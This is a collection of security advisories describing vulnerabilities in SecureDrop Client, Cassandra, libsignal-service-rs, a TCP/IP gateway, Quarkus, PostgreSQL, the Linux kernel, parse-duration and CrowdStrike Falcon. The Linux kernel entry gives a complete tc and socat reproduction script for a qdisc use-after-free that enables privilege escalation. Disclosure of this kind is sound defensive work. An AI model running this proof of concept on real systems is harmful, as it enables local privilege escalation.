The SecureDrop Client is a desktop application for journalists to communicate with sources and work with submissions on the SecureDrop Workstation. Prior to version 0.14.1, a malicious SecureDrop Server could obtain code execution on the SecureDrop Client virtual machine (`sd-app`). SecureDrop Server itself has multiple layers of built-in hardening, and is a dedicated physical machine exposed on the internet only via Tor hidden services for the Source and Journalist interfaces, and optionally via remote SSH access over another Tor hidden service. A newsroom's SecureDrop Workstation communicates only with its own dedicated SecureDrop Server.
The SecureDrop Client runs in a dedicated Qubes virtual machine, named `sd-app`, as part of the SecureDrop Workstation. The private OpenPGP key used to decrypt submissions and replies is stored in a separate virtual machine and never accessed directly. The vulnerability lies in the code responsible for downloading replies. The filename of the reply is obtained from the `Content-Disposition` HTTP header and used to write the encrypted reply on disk. Note that filenames are generated and sanitized server-side, and files are downloaded in an encrypted format, so a remote attacker who has not achieved server compromise, such as one posing as a source, could not craft the HTTP response necessary for this attack.
While the filename is later checked to guard against path traversal before being moved into the Client’s data storage directory, the file has already been written to a potentially arbitrary location. In this case, `safe_move()` would detect the path traversal and fail, leaving the original downloaded file in the attacker-chosen directory. Code execution can be gained by writing an autostart file in `/home/user/.config/autostart/`.
Version 0.14.1 fixes the issue. As of time of publication, there is no known evidence of exploitation in the wild. This attack requires a previously compromised SecureDrop Server.
Systems running the Instaclustr
fork of Stratio's Cassandra-Lucene-Index plugin versions 4.0-rc1-1.0.0
through 4.0.16-1.0.0 and 4.1.2-1.0.0 through 4.1.8-1.0.0, installed into
Apache Cassandra version 4.x, are susceptible to a vulnerability which
when successfully exploited could allow authenticated Cassandra users to
remotely bypass RBAC and escalate their privileges.
libsignal-service-rs is a Rust version of the libsignal-service-java library which implements the core functionality to communicate with Signal servers. Prior to commit 82d70f6720e762898f34ae76b0894b0297d9b2f8, plaintext content envelopes could be injected by a server or a malicious client, and may have been able to bypass the end-to-end encryption and authentication. The vulnerability is fixed per 82d70f6720e762898f34ae76b0894b0297d9b2f8. The `Metadata` struct contains an additional `was_encrypted` field, which breaks the API, but should be easily resolvable. No known workarounds are available.

A CWE-1392 “Use of Default Credentials” was discovered affecting the 130.8005 TCP/IP Gateway running firmware version 12h. The device exposes an FTP server with default and easy-to-guess admin credentials. A remote attacker capable of interacting with the FTP server could gain access and perform changes over resources exposed by the service such as configuration files where password hashes are saved or where network settings are stored.
A CWE-126 “Buffer Over-read” was discovered affecting the 130.8005 TCP/IP Gateway running firmware version 12h. The information disclosure can be triggered by leveraging a memory leak affecting the web server. A remote unauthenticated attacker can exploit this vulnerability in order to leak valid authentication tokens from the process memory associated to users currently logged to the system and bypass the authentication mechanism.
A flaw was found in Quarkus REST that allows request parameters to leak between concurrent requests if endpoints use field injection without a CDI scope. This vulnerability allows attackers to manipulate request data, impersonate users, or access sensitive information.
Improper neutralization of quoting syntax in PostgreSQL libpq functions PQescapeLiteral(), PQescapeIdentifier(), PQescapeString(), and PQescapeStringConn() allows a database input provider to achieve SQL injection in certain usage patterns. Specifically, SQL injection requires the application to use the function result to construct input to psql, the PostgreSQL interactive terminal. Similarly, improper neutralization of quoting syntax in PostgreSQL command line utility programs allows a source of command line arguments to achieve SQL injection when client_encoding is BIG5 and server_encoding is one of EUC_TW or MULE_INTERNAL. Versions before PostgreSQL 17.3, 16.7, 15.11, 14.16, and 13.19 are affected.
In the Linux kernel, the following vulnerability has been resolved:
net: sched: Disallow replacing of child qdisc from one parent to another
Lion Ackermann was able to create a UAF which can be abused for privilege
escalation with the following script
Step 1. create root qdisc
tc qdisc add dev lo root handle 1:0 drr
step2. a class for packet aggregation do demonstrate uaf
tc class add dev lo classid 1:1 drr
step3. a class for nesting
tc class add dev lo classid 1:2 drr
step4. a class to graft qdisc to
tc class add dev lo classid 1:3 drr
step5.
tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024
step6.
tc qdisc add dev lo parent 1:2 handle 3:0 drr
step7.
tc class add dev lo classid 3:1 drr
step 8.
tc qdisc add dev lo parent 3:1 handle 4:0 pfifo
step 9. Display the class/qdisc layout
tc class ls dev lo
class drr 1:1 root leaf 2: quantum 64Kb
class drr 1:2 root leaf 3: quantum 64Kb
class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls
qdisc drr 1: dev lo root refcnt 2
qdisc plug 2: dev lo parent 1:1
qdisc pfifo 4: dev lo parent 3:1 limit 1000p
qdisc drr 3: dev lo parent 1:2
step10. trigger the bug <=== prevented by this patch
tc qdisc replace dev lo parent 1:3 handle 4:0
step 11. Redisplay again the qdiscs/classes
tc class ls dev lo
class drr 1:1 root leaf 2: quantum 64Kb
class drr 1:2 root leaf 3: quantum 64Kb
class drr 1:3 root leaf 4: quantum 64Kb
class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls
qdisc drr 1: dev lo root refcnt 2
qdisc plug 2: dev lo parent 1:1
qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p
qdisc drr 3: dev lo parent 1:2
Observe that a) parent for 4:0 does not change despite the replace request.
There can only be one parent. b) refcount has gone up by two for 4:0 and
c) both class 1:3 and 3:1 are pointing to it.
Step 12. send one packet to plug
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))
step13. send one packet to the grafted fifo
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))
step14. lets trigger the uaf
tc class delete dev lo classid 1:3
tc class delete dev lo classid 1:1
The semantics of "replace" is for a del/add _on the same node_ and not
a delete from one node(3:1) and add to another node (1:3) as in step10.
While we could "fix" with a more complex approach there could be
consequences to expectations so the patch takes the preventive approach of
"disallow such config".

parse-duraton is software that allows users to convert a human readable duration to milliseconds. Versions prior to 2.1.3 are vulnerable to an event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively, and an out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters. Version 2.1.3 contains a patch.
CrowdStrike uses industry-standard TLS (transport layer security) to secure communications from the Falcon sensor to the CrowdStrike cloud. CrowdStrike has identified a validation logic error in the Falcon sensor for Linux, Falcon Kubernetes Admission Controller, and Falcon Container Sensor where our TLS connection routine to the CrowdStrike cloud can incorrectly process server certificate validation. This could allow an attacker with the ability to control network traffic to potentially conduct a man-in-the-middle (MiTM) attack. CrowdStrike identified this issue internally and released a security fix in all Falcon sensor for Linux, Falcon Kubernetes Admission Controller, and Falcon Container Sensor versions 7.06 and above.
CrowdStrike identified this issue through our longstanding, rigorous security review process, which has been continually strengthened with deeper source code analysis and ongoing program enhancements as part of our commitment to security resilience. CrowdStrike has no indication of any exploitation of this issue in the wild. CrowdStrike has leveraged its world class threat hunting and intelligence capabilities to actively monitor for signs of abuse or usage of this flaw and will continue to do so.
Windows and Mac sensors are not affected by this.
